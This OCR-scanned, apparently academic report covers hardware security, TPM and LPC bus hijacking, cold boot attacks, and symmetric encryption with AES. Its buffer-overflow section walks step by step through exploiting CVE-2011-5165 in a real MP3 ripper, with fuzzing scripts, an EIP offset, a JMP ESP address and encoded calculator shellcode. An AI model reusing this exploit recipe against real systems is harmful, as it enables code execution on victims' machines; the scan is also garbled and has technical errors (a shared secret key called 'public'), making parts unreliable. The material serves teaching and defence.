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1. INTRODUCTION

By the time i finish typing this sentence, a hacker would have had enough time to crack one of 91%

of the passwords in the world. The global cyber-security market is enormous ($95B) and is expected
to grow 20% yearly. With the expansion of the Internet out of the browser, Cyber-security has turned
out to become one of the biggest issues in the world. But how did we get there?

In 1965, William D. Mathews from MIT found a vulnerability in a Multics CTSS running on a IBM
7094. This flaw discloses the contents of the password file. The issue occurred when multiple
instances of the system text editor were invoked, causing the editor to create temporary files with a
constant name. This would inexplicably cause the contents of the system CTSS password file to
display to any user logging into the system.

In 1971, John T. Draper notices that a Cap’n Crunch Whistle that generates a 2600Hz tone allowed
him to route his phone calls for free. This was the first instance of profit being generated by a hack.
(11]

In 1994, a consortium of Russian Crackers siphon $10M from Citibank, the leader of the group gets
caught and stands trial in the US, he is sentenced to 3 years in prison.

Jumping to 2014, the HeartBleed bug renders 66% of the Internet vulnerable. It allows anyone to
read the memory of the systems protected by the OpenSSL software. This compromises the secret
keys used to identify the service providers and to encrypt the traffic, the names and passwords of
the users and the actual content.

This is the timeline of cyber-security incidents that affect services. The other aspect of the security
coin is hardware security, in other terms, securing the actual hardware to prevent “hackers” from
replicating or tampering with technology.

Suppose you build a new computer with standard ICs, it is not difficult for other people to duplicate
one by measuring the pins and making a PCB with the same circuit and plug on the standard ICs.
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In the 1980s, Japanese companies set up production lines in China and they implemented a counter
to calculate the total TV sets the production line had manufactured. The counter was claimed
“unhackable”. However, workers started building TV sets outside the production line, rendering the
counter obsolete.

Nowadays, TV companies started putting the core technology and algorithms into an IC. They
control the production by selling the special IC to the OEMs. Without this custom designed IC, the
TV set cannot be built.

To counter reverse engineering, TV companies now use FPGAs. One benefit of using FPGAs is that
hardware security is improved. It prevents reverse engineering and destroys itself should the number
of attempts exceed the present value.
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2. BASIC PRINCIPLES OF CYBER-SECURITY

The 3 fundamental pillars of computer security are :
1. Confidentiality
2. Integrity

3. Availability

1. Confidentiality

From an Information Security perspective, confidentiality is the concealment of information or
resources.

From a computer architecture point of view, confidentiality is to design a system that is capable of
protecting data and preventing intruders from stealing the data from your computer system.

A software solution for enforcing confidentiality-based rules would be Encryption, a hardware
solution would be segregation.

The level of confidentiality that you want to reach will dictate the solution that you are going to use
but there is always a tradeoff when using solutions that a more or less powerful than others. In this
case, a higher confidentiality level is inversely correlated to a low availability level. (principle 3)

2. Integrity

In one sentence, when it comes to information security integrity implies the trustworthiness of the
data. There are 2 aspects to consider when looking at data. Data in motion and data at rest.

Data in motion integrity enforcement asks the following question: how are you making sure that the
data that is being moved is trustworthy?

Data at rest integrity enforcement on the other hand asks: how are you making sure that the data
that is stored stays the same?

One solution for enforcing data in motion integrity would be encryption. A solution for data at rest
would be sealing.
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3. Availability

Availability in the information security plane refers to the ability to use the information or resource
desired. Even a 99.999% availability rate means that there is still a total of 5 mins per year when the
service or resource is not available which may be a very big issue for critical infrastructure like
nuclear warhead managing platforms. This high rate means that availability is very sensitive and
extremely complicated to enforce. As stated before, there is a tradeoff between availability and
confidentiality and different implementations require to be on different point of the availability
confidentiality spectrum. For instance, a server tends towards availability but a personal computer
would go towards confidentiality because sacrificing a millisecond for encryption is generally not an
issue for users.

Also an important aspect of security is the difference between trustworthy and trusted. An example
of trustworthy would be: “| trust you to encrypt this data” and example of trusted is: “| trust you to
ensure that the data was encrypted properly”.

An analogy would be that a trustworthy module is a soldier and a trusted module the general.

This implies that if a trustworthy module is exploited, the damages are far less than if a trusted
module is breached
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3. SECURING THE VON NEUMANN ARCHITECTURE

The Von Neumann architecture derives from a 1945 computer architecture description by the
mathematician and physicist John Von Neumann. The paper describes a design architecture for an
electronic digital computer made of a Bus, memory, a control unit, IO and an Arithmetic logic unit.

The Von Neumann architecture is the most famous view of a digital computer, it is the base of
almost all “computers” on the planet.

Cootrol
unit

1O MEM

Arithmetic
Logic Unit

e

Figure 1.3 Ncumann computer architecture

From a security standpoint, the Von Neumann architecture suffers from several basic design flaws
that couldn’t have been foreseen by Von Neumann.

The most important flaw lies in the configuration of the bus.
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3.1 Bus Hijacking Attack

In the Von Neumann Architecture, all components are connected to the bus. While this method is
the fastest way to transfer information between modules, it is a vulnerability source.

Bus

AN
R

(8 4 MEM Storage 1o Network

Figure 1.4 Von Neumann Bus

If the bus is hijacked by an attacker, information could be intercepted, read and modified without the
knowledge of the user.

In order to walk through a typical bus hijacking attack, we have to introduce a couple of components
first.
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3.1.1 TRUSTED PLATFORM MODULE

The trusted platform module (TPM) is a computer chip that can securely store artefacts used to
authenticate a computer. These artefacts can include passwords, certificates or encryption keys.

A TPM is used to store platform measurements that help ensure that the platform remains
trustworthy. Authentication (ensuring that the computer is who he says he is) and attestation
(process that allows a platform to prove that it is trustworthy) are necessary steps to make sure that
computing stays safe.

A TPMis also a:

- RSA Accelerator (Hardware Encryption following the RSA algorithm)
-SHA-1 Engine

-Random Number Generator

-Sealer

-Binder
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3.1.1.1 TPM RSA Acceleration

The TPM contains a private encryption key which is generated and etched during the manufacturing
process. The private key is never read by anyone except for the TPM. A leak of the key implies the
failure of the encryption mechanisms. The TPM would have to be replaced in order for the computer
to regain the trusted status.

Lets assume that the Outlook app wants to encrypt an email before storing it in memory. Outlook
requires the TPM knowing that the TPM contains a private key and can do hardware acceleration.
The are 3 steps in a typical TPM acceleration:

1- Outlook Sends the hash value of the email text to the TPM
2- TPM signs the hash using its private key
3-TPM returns the encrypted blob to Outlook

Microsoft*
Outlook XP

Figure 2.1 TPM Accreditation
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3.1.1.2 TPM Attestation

Let us now assume that Outlook wants to send an email which will go through the Verisign Website.

The first step in the process is to make sure that the Verisign website is trusted meaning there is a

secure communication channel between Outlook and the website.

In order to secure the transport, the Verisign website needs to generate and send a public key to

Outlook so that it Encrypt the email with it.

There are 4 steps in a typical TPM attestation:

1- Outlook Requests the public key from the website

2- The Verisign website requests a new pubic key from its TPM
3- The TPM generates a new public key from its private key

4- The website sends the key to Outlook

M

3 Creste New Xay

L I
Vowy

| ey

Microsoft*
Outiook XP

Figure 2.2 TPM Attestation
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3.1.1.3 TPM General Authorisation

The TPM is usually connected to the SouthBridge 10 hub via the Low Pin Count Bus (LPC bus). It
provides a hash value for the complete system by using SHA1. This value is assembled from
information gathered from all key hardware elements such as the vide card the processor, the
SouthBridge 10 Hub... in combination with software elements such as the OS.[5]

The computer will only start into an authorised condition If the TPM recognises the correct hash. In
the case that the hash is recognised, the Operating System is handed the encrypted root key which
is needed to run trusted applications and access secured data.

The TPM establishes a chain of trust, meaning that it attests that all components are trustworthy and
information coming from them is reliable to a certain extent.[4]

If the hash is not recognised, then there is no chain of trust and only free files and programs are
allowed to run on the computer.

Every time a components tries to communicate with the TPM, it checks to make sure that this
component is still the same and that the chain of trust is still intact. This is done by checking the
locality bits which are generated based on CPU state and flags on memory pages[2)].

A TPM has at least 16 Platform Configuration Registers (PCRs) that store platform configuration
measurements[1]. These measures are normally has values (SHA1) of applications running (allowed)
on the platform. PCRs cannot be written to directly, data is stored by the TPM through a process
called extending the PCR.

If a hacker wants to execute malicious code on the computer, a pointer to the head of the code
should be in one of the PCR. It can only get there if the TPM get the request from a trusted
component and places the pointer in one of the PCRs.
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3.1.1.4 LPC Bus

The TPM is connected to the SouthBridge Hub via a special bus called the Low Pin Count Bus (LPC
bus), it is used to connect low-bandwidth devices and requires 7 signals to communicate between
components.

Figure 2.3 TPM Chain of Trust

-4 signals carry the multiplexed data and address
-1 FRAME signal

-1 RST signal

-1 CLK signal
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There are 2 main LPC write cycle :

1-Memory Write Cycle
2-TPM Write Cycle

The Memory write cycle is a regular write to memory from a device through the LPC bus. the 32-bit
address and 8-bit data frames are completely under the control of the user (incidentally under the
control of the attacker).

The TPM Write Cycle is not completely under the control of the user because the 4-bit locality is
protected by hardware and should be generated by the connected module, the SouthBridge hub in
this case. This 4-bit locality is the only thing that allows the TPM to verify that the chain of trust is still
standing making it the only obstacle a hacker has to overcome.

Memory write cycle

mm 32-bt Address 8-bit Dotn R I SYNC ]

TPM write cycle

mm 16-bit Address 8-bit Data IR ] SYNC l

4-0it Localty  12-Dit Register

D Dafined by tha LPC bus spacificasion
B (7 reast parsaily) controlied by the attacker
Bl Protocted by inssted hardware (Southbridge)

Figure 2.4 LPC Write Cycles

Note that the traffic over the LPC bus is not encrypted allowing a hacker to theoretically hijack the
bus.
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At this point, placing ourselves in the mindset of a hacker, we know that the traffic going to the TPM
is unencrypted but that the command has to be issued by a trusted source. The trusted source is
verified by checking the 4-bit locality which is generated by the SouthBridge hub.

So all we have to do in order to hijack the bus and run malicious code on the system is:

1-Physically Hijack the Bus

Figure 2.5 Bus Hijacking

2- Intercept a TPM write cycle and get the 4-bit locality (which we will use when we send our own
command)

3- Generate a regular Memory write cycle and intercept the Frame signal so it doesn't go to the
TPM. We now have the Bus.

Atacker creand delay
- >

Start of Frame |

(Soutreridge) L |
Memory write | START | CTDIR | 32-bit Address (Radel] TAR | SYNC |
Stant of Frame ] |

(to TPM)

TPM write B FEEGY 166t Address 8- Data
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4- Generate our own Frame Signal that we now send to the TPM.

5- Send a TPM write command using the 4-bit locality that we intercepted before (TPM now thinks
that we are trusted)

We now got the TPM to write the fingerprint of our malicious code inside one of the PCRs. We can
now run our malicious code.

PC Southbridge Simulator

1

TPM v1.2 daugtherboard

——

LPC bus hijacking device

-—— Y

Figure 2.7 Hijacking Implementation
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3.2 Buffer Overflow Attack

The second attack that we are going to introduce is a memory-based attack. Buffer Overflow is the
most common, most damaging attack that can be conducted on a computer system, it allows an
attacker to run remote code without the user’s knowledge and consent.

add value add value
01-16 pwd 01-16 pwd
17-20 main 17-20 open ATM
21=22 21=-22
Normal Compromised
stack stack

Figure 3.1Typical Buffer Overflow

Imagine that you are in front of an ATM machine and want to open the cash safe. What you have to
do if you are a bank employee is write your password on the ATM computer and if the password
matches, the ATM door open (openATM() method is called). What is happening in the background is
that your password is allocated space on the stack (in this case 16 bits (1-16)) when you type in
your password, the password which is now on the stack is compared to the original password
stored in memory. If they match then the openATM() method is called and the door opens.

What an attacker can do to bypass this authentication process is write in the password box a
random password (first 16 bits) to fill the register and then write an openATM() method. All of these in
the password box.

In other words, the hacker types in the password box garbage 16-bits to fill the register allocated for
the password and he also types an openATM() routine directly in the password box along with a JMP
instruction to jump to this routine. The added bits if not checked overflow the buffer and the next
instruction to be executed is the openATM() routine that he crafted.
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We will further explore this attack by going through an example.

In 2011, a buffer overflow vulnerability was found in the Free MP3 CD Ripper V1.1 Software. The
vulnerability details are sent by the security researcher to an exploit database. The vulnerability is
assessed and when confirmed it gets a Common Vulnerabilities and Exposures ID (CVE).

CVE-2011-5165 in this case. the first number is the year of discovery and the second one is the
chronologically ordered rank.
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Figure 3.2 NVD

Going to the National Vulnerability Database, we learn that its a stack-based buffer overflow that
happens when converting a file allowing an attacker to execute code via a crafted .wawv file.

We now know that we need to craft a special .wav file and try to convert it in order to trigger the
buffer overflow.
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3.2.1 TEST THE VULNERABILITY

The first step is to try the vulnerability. We start by injecting 2500 ‘A’ characters in a crafted .wav file.

file "fuzzing.wav”
junk "\x41"
writeFile = open (file, "w")

writeFile.write(junk)
writeFile.close()

The application absorbs the input without any errors. We deduce from that that the buffer is large
enough to store.

Cp g aste 5 v e T oy

What we do now is try with a bigger input but we also attach a debugger to the process to be able
to visualise the state of execution after every instruction.
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When we run it the second time with a 5000 ‘A’ character long crafted .wav file, the application
crashes and we get the following exception on the debugger.

Warning

!5 A1814141; The instruction ot Oed 1818141 relerenced memony ot Oud 1414181 The memary coukd not be 1ead - £1414141 fesc code cOD0000S. 8d 2124)

I~ Dan't daplay this meszage agan

(]

When we look at the stack, we notice that all registers are overwritten with $41 which is the hex

notation of the character ‘A’. This shows that the buffer overflow was successful.
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If we look at the instruction pointer (EIP) we notice that it is also overwritten.

3.2.2 DETERMINING THE RIP OVERWRITE LOCATION

Now that we have successfully overwritten the EIP, we need to know at what location of our input it
happened in order for us to be able to craft a specific value to be fed to the instruction pointer.

We start by generating a unique pattern of 5000 characters

root@bt: /pentest/exploits/framework/tools ?

AaBAalAazAa3AadAaSAabAa7AaBAa%AboAb1Ab2Ab3AbD4AADSADGAD7ADBADSACBACIAC2AC3AC

We use this pattern as an input.

file "fuzz_test_5000.wav” ?
junk “"AaBAalAa2Aa3AadAaSAabAa’AaBAa9AbeAbl1Ab2Ab3Ab4ADSADGAD7ADBADIACBACIAC
writeFile open (file, "w"

writeFile.write(junk)
writeFile.close()
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This time, when we feed the input into the software, we get the exact same exception as before but
this time the address of the instruction changes. We read 0x31684630.

This is the address in the pattern that overwrote the EIP.

We now need to determine the offset of this pattern from the start of the file. We use a script that
does that for us.

root@bt: /pentest/exploits/framework/tools

4112

We get 4112 which means after 4112 characters of the input, we overwrite the EIP.

We now know that in order to write the EIP we have to input 4112 junk values first followed by the
address that we want the EIP to point to.

3.2.3 TESTING THE CONTROLLED OVERWRITE

We now test the controlled overwrite by inputting 4112 junk values first followed by 4 times $42.

After crafting the .wav file, we feed it to the application and we get this exception.

wemng x|

': Q224242 The ratucton ot el 2424 242 sedsoarcnd memcny of DA2424242 The memcey coukd not be sead - 42424242 wec code 0000005, 8 2156)

[T DonY deply $u: metiage agan

41424242 means that the controlled overwrite is successful. We can now control what instruction is
going to run next.

Knowing that the shellcode (malicious code) that we want to execute is going to be on the stack
(we are writing it in the custom .wav file), we need a JMP ESP instruction to jump to the top of the
stack.
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3.2.4 FINDING A JMP ESP INSTRUCTION

To find a JMP ESP function, we look in System dlls. We could look for one in software dlls but we
would end up with an inconsistent location knowing that every system runs different software.

We know that the hash for JIMP ESP is FF E4

We find one
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The location of the JMP ESP instruction is x1511EDFF
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We add this address to our code. This is the address that we want the EIP to take as it will bring us
back to the top of the stack and run our malicious code.

struct pack
file "fuzz_test_5000_v4.wav"
junk "\x41"
eip pack('<1", )
breakit "\xcc"
nops  “\x90"
pseudo_shellcode “ABCDEFG™

writeFile open (file, "w")
writeFile.write(junk eip breakit nops pseudo_shellcode)
writeFile.close()

As a recap, we now have 4112 junk values followed by our stack pointer instruction (in little endian
notation) that will take us back to the top of the stack.

3.2.5 TESTING THE JMP ESP

We are now ready to test the JMP ESP redirection. After running the program and injecting the
crafted .wav file, the software crashes and we get this view of the stack.

.ﬂ«md-mm o Xx
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EFL 00999216

= Stach. vew O x|

" 0 MAMAIM -]
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00 O1BFFF30 St [ 0000¢ 1201 0 o
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Notice that after the NOPS we can clearly see 41 42 43 44 45 46 47which are translated to
ABCDEFG, our shellcode.

Everything is now ready, the final step is to change our dummy shell code and input a real one that
will be executed.

3.2.6 GENERATING THE SHELLCODE

The Shellcode to be generated can be anything, examples are: opening a tunnel to the remote
attackers computer, installing a key logger on the system, getting the password file and sending it to
the client.

In this example, we are going to add an “Open the calculator app” Shellcode which does what it
advertises.

hEtp: /v metasplolt . con
Encoder: x86/shikata ga nal
EXTTFUNC=50h, alc
my $shellcode = B\xc@\x X1 e S\ xbF 7 a1 6\ x M e e \xd 9\ x 74\ x 24\ xFa\xb
A1 ASELA N\ TRXIE I\ eS8 \ e\ B 3\ TR\ A8 \ x F A\ XES \ 30" .
N7\ BS \ e P IR\ xbO \ x 2 3\ FS \ xF I\ b \x 74\ 82\ xa0" .
AT\ 32\ x e\ xbi k2 \ xed \ x 18\ 54\ xd S \ vk 21007\ x9%"

AID\BS \ xob™ .
AR\ \ A\ AR\ F O\ 22\ X S\ XID\ XA 2\ wed \ xC I\ xXF X\ xib\XT7a" .
TNRCF A\ o\ 23 ol 3\ x5 3\ e S M\ xf 7\ g \Ob\ xS \olle\ x8 3T,
STOS I\ 64\ 51 a1l \x33 \xca\x¥5) £S\xcl\x7e\x98" .
e e F S Ll 20\ x99 U I\ b e B\ xd 9\ xFe\ xS\ b1t
AbE R 2\ xRS A I BT\ T TR\ 2 A\ xS\ x90 \ xTh \xa 7 \ x5 "
"\x7F\xe@ \x/b\xca";

We generate the shell code using a special script and encode it to shield it from anti-viruses (other
discussion) using the shikata ga nai encoding algorithm and add it to our code.

fFile fuzz tes

jenk “\x41"

eip pack("<I”,

nops "\xse*

shollcode (*\ INKER \ x 31 \xc D) X7\ XIS\ XTOAXCE \ XM\ xTA \ 24 xF A\ xD 1\
"xI8\ xR\ xeH ¢ 7 \ I8\xb . \ b

X \ X3
writeFile opan (1 3
writebile . write(junk elp nops shellcode)
writefile.close()
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This time, when we feed the crafted .wav file to the application, the application crashes and the
calculator app opens.
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3.3 Mitigating Buffer Overflow Attacks

One way to mitigate buffer overflow attacks is to set the NX bits on the stack. These Never execute
bits make the stack read only which renders the attackers routine useless because after the JMP
ESP, the next instruction on the stack cannot be executed.

Another way is stack segregation which means dividing the stack into 3 stacks, one for code

segments, another for data segments and a third one to control the 2, the code stack will have the
NX bits set.

Single address space

VS scpment
(n)
|
Code Data
Scgment Scgment Stack
g d.seg stck seg

(b)

The previous solutions were on the hardware side, on the OS side, there are many ways to mitigate
buffer overflow attacks, a famous solution is Address Space layout Randomisation (ASLR) which
basically means that after every execution, the stack address and registers location is changed.
Meaning that an attacker will never be able to determine the EIP of the computer.
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3.4 Cold Boot Attack

Another attack on memory is the cold boot attack, the idea behind it is that DRAMSs store data in
separate capacitors in the IC.

Every capacitor needs to be refreshed every couple of milliseconds to retain the information.

What an attacker can do is:

1. Physically chill the DRAM chip which allows the capacitors to retain the information without a
refresh for a longer period of time.

2. Transfer the memory chip into another computer or boot a new OS from an external USB drive

3. Dump the contents of memory into the new OS

Figure 4.1 Cold Boot Attack
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4. ENCRYPTION

4.1 History

Cryptography has been used for thousands of years to hide message contents in plain sight. The
first sign of cryptography was found in 1900BC in the main chamber of the tomb of the nobleman
Khnumhotep Il in Ancient Egypt.

The glyphs are modified to hide a message that anthropologists think only Khnumhotep Il knows the
meaning of.

2 millenias later, the Caesar Cipher was used by Caesar himself to hide message, the idea behind it
is that all the letter in a message are offsetted by a specific number n.

‘A.B.(AD_I_ Xy 7
Alnlcloln viz| [aln]c

Figure 5.1 Caesar Cipher

The biggest problem of this cipher is that the encryption relies only on the system and not on
another variable factor like a key so if the system is discovered, all messages sent before the day of
the discovery become vulnerable and the cipher is unusable anymore.
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500 years later, Vigenere invented the first encryption key based cipher which means that if the
system is discovered, eavesdroppers still need the encryption key to decode the message.

k=CRYPTO|[CRYPTO|CRYPT]

+ mod 26

m=HAVEANICEDAYTODAY

c=KSUUUCLUDTUNWGCQS

Figure 5.2 Vigenere Cipher

The idea behind this cipher is that each letter of the plaintext is subtracted from the same letter in

the encryption key, this result mod 26 is the result of the Ciphertext.[8]

4.2 Overview

There are 3 branches in cryptography:

1. Symmetric cryptography
2. Asymmetric cryptography

3. Hash functions

Hash functions go only one way meaning that a plaintext is hashed using a certain irreversible
function to generate an output. They will not be covered in this document.
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4.3 Symmetric Cryptography

Symmetric Cryptography is the most widely used type of cryptography. It relies on 2 things which
are the encryption algorithm used and the public key used.

A public key is a key that is shared between the 2 parties. It should always remain private as the
disclosure of the key allows anyone to eavesdrop on the encrypted conversation. It is used to
encrypt messages and to decrypt messages.

Say alice wants to send an encrypted message to Bob.

1. Alice takes the plaintext message and encrypts it using the public key that she previously shared
with Bob then sends the message

2. Bob receives the ciphertext message and decrypts it using the same key.

plaintext » ciphertext sDlaintext

A) Secret key (symmetric) cryptography. SKC uses a single key for both
encryption and decryption.

Figure 5.3 Symmetrical Encryption

There are 2 types of ciphers:
1. Stream Ciphers

2. Block Ciphers
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4.3.1 STREAM CIPHERS

There are 2 types of stream ciphers:

1. Self-Synchronising

2. Synchronous

4.3.1.A SELF-SYNCHRONISING STREAM CIPHERS

Each Bit of the SSSC is calculated as a function of the previous n bits. The problem with this
method is that garbled bits in the transmission will result in garbled bit at the receiving end knowing
that the decryption process depends on previously received bits.

4.3.1.B SYNCHRONOUS STREAM CIPHERS

In SSCs, the key stream is generated independently of the message stream so a garbled bit in the

transmission only affects itself and not the rest of the ciphertext decryption process. It uses the
same key stream generation function to generate the key stream every time.

4.3.2 BLOCK CIPHERS
There are 3 major modes of operation
1. Electronic Codebook

2. Cipher block chaining
3. Cipher feedback
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4.3.2.A ELECTRONIC CODEBOOK

The secret public key is used to encrypt the plaintext block. 2 identical blocks generate the same
cipher text block.

The problem with this mode of operation is that it is susceptible to brute force attacks.

Plaintext Flaintext Plaintext
l | Ll L1

' . '
Block Cipher Block Cipher Block Cipher
Key =  Encryption Key =  Encryption Key =  Encryption
' . '
| | 11
Ciphertext Ciphertext Ciphertext

Electronic Codebook (ECB) mode encryption

4.3.2.B CIPHER BLOCK CHAINING

There is the introduction of a feedback mechanism, the plaintext is XORed with the previous cipher
text block prior to encryption at every stage.

This mode ensures that two identical blocks never encrypt to the same cipher text making it more
difficult for hackers to breach the algorithm.

Maintext Maintext Plaintext
| i 1 | I
Initialization Vector (IV)
' . ’
Block Cipher Block Cipher Block Cipher
Key ——=  Encryption Key —+  Encryption Key —«  Encryption

' . '
1 1 I 1
Ciphertext Ciphertext Ciphertext

Cipher Block Chaining (CBC) mode encryption
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4.3.2.C CIPHER FEEDBACK

In this mode of operation, data is encrypted in units smaller than the block size. This mode is use to
encrypt any number of bits e.g: single bits or single characters before sending them across an

insecure link.

The shift register is initially filled with an initialisation vector and the encryption algorithm is run onces

to produce the output bits[3].

The leftmost 8 bits of the output are then XORed with the byte to be transmitted.

Initialization Vector (IV)

Block Cipher Block Cipher Block Cipher
Key —+  Encryption Key ——=  Encryption Key —+  Encryption
Plaintext Plaintext
Ll Ll - L1 ] - Plaintext
' ' '
Ciphertext Ciphertext Ciphertext

Cipher Feedback (CFB) mode encryption

4.3.3 FAMOUS SYMMETRIC CRYPTOGRAPHY ALGORITHMS

Famous symmetric cryptography algorithms are Data Encryption Standard (DES) which is now
becoming obsolete and Advanced Encryption Standard (AES) which is the most famous symmetric

cryptography algorithm.
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4.4 AES Rinjidael Implementation

In the previous section, we introduced the concept of cryptography and discussed in general
symmetrical cryptography. In this section we are going to go through the steps of encrypting a
message using the AES Rinjidael algorithm.

4.4.1 GENERALITIES

AES is a block cipher, the block size is set to 16 bytes (AES can handle 32 bit block sizes but the
standard used is 16).

If the block to be encrypted is larger than 16 bytes, it gets segmented, if it is smaller than 16 bytes it
gets padded.

AES is an iterated block cipher meaning that the steps used to encrypt can be reversed to decrypt
the file assuming we have the encryption key.

4.4.2 INSTRUCTION ROUND

There are 4 main instructions that are used in AES.

ADD ROUND KEY
BYTE SUB
SHIFT ROW

MIX COLUMN

A round is when all 4 instructions are executed.
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4.4.2.A ADD ROUND KEY

The first step in the encryption process is to XOR every byte of the state with every byte of the
expanded encryption key (expanding the encryption key is covered later).

State 1 2 3 4 5 6 7 8 9 |]10|11 |12 13|14 ]15] 16
XDR | XOR | XOR | XOR | XOR | XOR | Xom | XOR | Xom | XOR | %om | XOR | %0 | XOR | %o | XoR
Exp Key 1 2 3 M 5 6 7 8 9 10 )12 |12 113 |14 |15 |16
State 1 2 3 4 5 6 7 8 9 10111112 |13 |14 )15 )] 16
%Ok | xom | XOR | XOR | Xom | Xom | XOR | %0k | xom | XOR | %ok | Xom | xom | xoR | X0k | xo=
Exp Key 17|18 |19 |20 |21 |22 |23 |24 | 25|26 |27 |28 |29 |30 | 31|32

So inround 1, the 16 bytes of the state are XORed with the first 16 bytes of the expanded key and
in round 2, the 16 bytes of the state are XORed with the next 16 bytes of the expanded key.

4.4.2.B BYTE SUB

The second step is to take every value of the resulting state from stage 1 and look it up in the
following subtraction lookup table. (Note that during the decryption, the user should do a reverse
lookup of the table)

MUNOOUFPORIAULAEWNMO

0 1 2 3 4 5 6 7 8 9 ABCDETF

63
CA
B7
04
09
53
Do
51
cD
60
EO
E7
BA
70
El
8C

c
82
FD
c7
83
D1

77 B
c% 70
93 26
23 C3
2C 1A
00 ED

" AA FB

40 8r
13 EC
4F DC
3A 0A
37 6D
25 2E
B5 66
98 11
8% op

F2
FA
36
18
18
20

6B 6F
59 47
3F F7
96 05
6E S5A
FC Bl
4D 33
%0 28
97 44
2A 90
06 24
D5 4E
A6 B4
03 Fé6
D9 BE
E6 42

(-]
FO
cC
9A
AD
58
85
FS
17
8e
5C
A9
Ccé
CE
94
6B

30
AD
34
07
52
EA
45
BC
c4
46
c2
6C
EB
61
98
41

01 67
D4 A2
A5 ES
12 80
s pe
CB BE
F9 02
BE DA
A7 TE
EE B8
D3 AC
56 F4
DD 74
35 57
1E 87
9% 20

2B
AF
Fl
E2
B3
39
L3
21
3o
14
62
EA
1F
B9
E9
oF

FE D7
9C A4
71 D8
EB 27
29 E3
4A 4C
50 3C
10 FF
64 5D
DE 5E
91 95
65 TA
4B BD
86 C1
CE 55
BO 54

AB
72
31
B2
2F
s5e
9F
F3
19
0B
E4
AE
BB
1D
28
BB

76
co
15
75
84
CF
AB
D2
73
DB
79
08
8A
9E
DF
16
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for instance if the first value is 23 out of stage 1, after stage 2 it becomes 26.

4.4.2.C SHIFT ROW

In this stage, we reorder the state in a matrix and perform circular shifts for each row. The matrix
should be ordered vertically in the following manner.

3 913
6 10 14
7 11 15
8 12 16

& Wi

Then the first row is not shifted, the second row is shifted once the third row is shifted twice and the
fourth row is shifted 3 times as followed.

From To
1 5 913 1 5 913
2 6 10 14 6 10 14 2

In the decryption phase, this operation is performed exactly the same but the rows are shifted left

From To
1 5 913 1 5 913
2 6 10 14 14 2 6 10
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4.4.2.D MIX COLUMN

This fourth stage has 2 questions that need to be answered

1. which part go the state are multiplied against which part of the matrix?

2. How is the multiplication implemented?

; /_,.
5221524
S5 Soa
:|S)
S22]S2 :
. g[ A
LI
- S'n

Fig. 3. MixColumns Transformation.

The answer to the first question is the following: We are provided with the following multiplication
matrix. The block is arranged in the same manner as in the previous part (vertical matrix).

Multiplication Matrix

byte State

bl | b5 b9 bl3
b2 | bé bl0 bl4
b3 | b7 bll bls
b4 | b8 bl2 blé
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the first value on the first column is multiplier with the first value of the first row then XORed with the
second value of the first column muiltiplied with the second value of the first row as illustrated in the
figure below. This step is repeated 16 times.

bl = (bl * 2) XOR (b2*3) XOR (b3*1) XOR (b4*1)

b2 = (bl 1) XOR (b2*2) XOR (b3*3) XOR (b4*1)
b3 = (bl * 1) XOR (b2*1) XOR (b3*2) XOR (b4*3)
b4 = (bl * 3) XOR (b2*1) XOR (b3*1) XOR (b4*2)
b5 = (b5 * 2) XOR (b6*3) XOR (b7*1) XOR (b8*1)
b6 = (bS5 * 1) XOR (b6*2) XOR (b7*3) XOR (b8*1)
b7 = (b5 * 1) XOR (b6*1) XOR (b7*2) XOR (b8*3)

b8 = (b5 * 3) XOR (b6*1) XOR (b7*1) XOR (b8+*2)

The second question of how the multiplication is implemented has the following solution:

The multiplication is done using a Galois Field.

Every value is looked up in the L table then the 2 values are added, if the number is greater than FF it
is subtracted by FF. The result of this step is looked up in the E table.

L Table maay

0 1 2 3 45 6 7T 8 9 aAB8BCODETF 01234535678 9%ADdCDODET
0o 00 19 0! 32 02 1A C6 &8 C7 18 68 33 £x OF 03 © 01 03 O5 OF 11 33 S5 rr 1A 2E 72 96 AL Fé 13 35
1 64 04 EO OE 34 8D Bl EF 4C 71 OB €8 ¥B €9 1C C) 1 5F E1 38 48 D3 73 95 A4 F7 02 06 OA 1E 22 66 AA
2 70 €2 1D BS F9 BY 27 €A 4D E4 A6 72 9A C9 09 78 2 E5 34 3C E4 37 39 EB 26 6A BE DY 70 90 AB E6 21
3 65 2F 8A 05 21 OF E1 24 12 F0 82 45 35 33 DA 28 INNHBUucUXUCCHINONDN 20
s 96 SF DB BD 36 DO CE 94 13 SC D2 F1 40 46 83 38 4 4C D4 67 A9 EO 3B 4D DY 62 A6 FL OB 18 28 78 88
$ 66 DD FD 30 BF 06 8B 62 B 25 E2 98 22 8% 91 10 S8 NDIDIEEEDEE 7 01 % B3CE 40076 N
€ 7E GE 48 CJ A3 BG 1E 42 JA 6B 28 54 FA 8% 1D BA € NS C4 5T ¥9 10 30 50 ¥ OB 1D 27 69 NB D& 61 AY
T 2B 19 0A 15 9D OF SE CA 4E D4 AC ES T3 73 A7 57 TIYE 1920 70D 87 92 AD EC 2¥ 71 93 AR EY 20 60 A0
S AT S8 AS 50 F4 EA D6 74 4F AT ES DS 7 B6 AD E8 8 FB 16 3A 4E D2 €0 B7 €2 SO E7 32 56 PA 1S 3F 41
9 2C D7 75 TA ED 16 OB F5 59 CB 5F BO 9C A9 31 AD 9 €3 5E EZ 3D 47 C9 40 CO 5B ED 2C 74 9C BF DA 73
ATrO0C Y6 6r 17 C4 49 EC DB 43 1r 20 A4 76 T3 ) A DADS 64 ACEF 2A 'k 82 90 BC DF 7A 8% 89 80
B CC BS 3E SA FB 60 Bl 86 3B 52 Al €C AA 55 29 90 B 98 B6 C1 58 E8 23 65 AF EA 25 €F B1 C8 43 C5 54
C 97 B2 BY 90 61 BE DC FC BC 95 CF CD 37 3F S8 D1 CPCIF 21 63 AS F4 07 09 18 20 77 99 BO CB 46 CA
D 53 19 B4 IC &1 AZ 6D 47 14 2A 9E %O 56 F2 DI AR D AS CF 4A DE 79 88 86 31 AR E) IE 42 C6 51 FY O
E 44 11 92 DY 23 20 2x 89 B& IC DA 26 77 99 K3 AS B1236SAKR 2978 80 SC &7 QA 83 54 ) M2 (0 12
P 67 4A ED DE ©5 31 FE 18 OD 63 6C 80 €O #7 70 07 P 39 4B DO TC B4 9T A2 FD 1C 24 €C B4 7 52 F6 01
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For Example say we want to multiply AF * 8

AF—>B7 8—>4B
B7+4B=102

102>FF —>102-FF=03
E(03)=0F

>

OF is the result of this multiplication

During the decryption phase, the multiplication matrix becomes the following.

0OE 08B 0D 09 |
09 OE 0B OD
0D 09 OE OB
0B 0D 09 OE

multiplication matrix

Page 42 of 50



An example of a MIX COLUMN during encryption is shown below

Input = D4 BF 5D 30

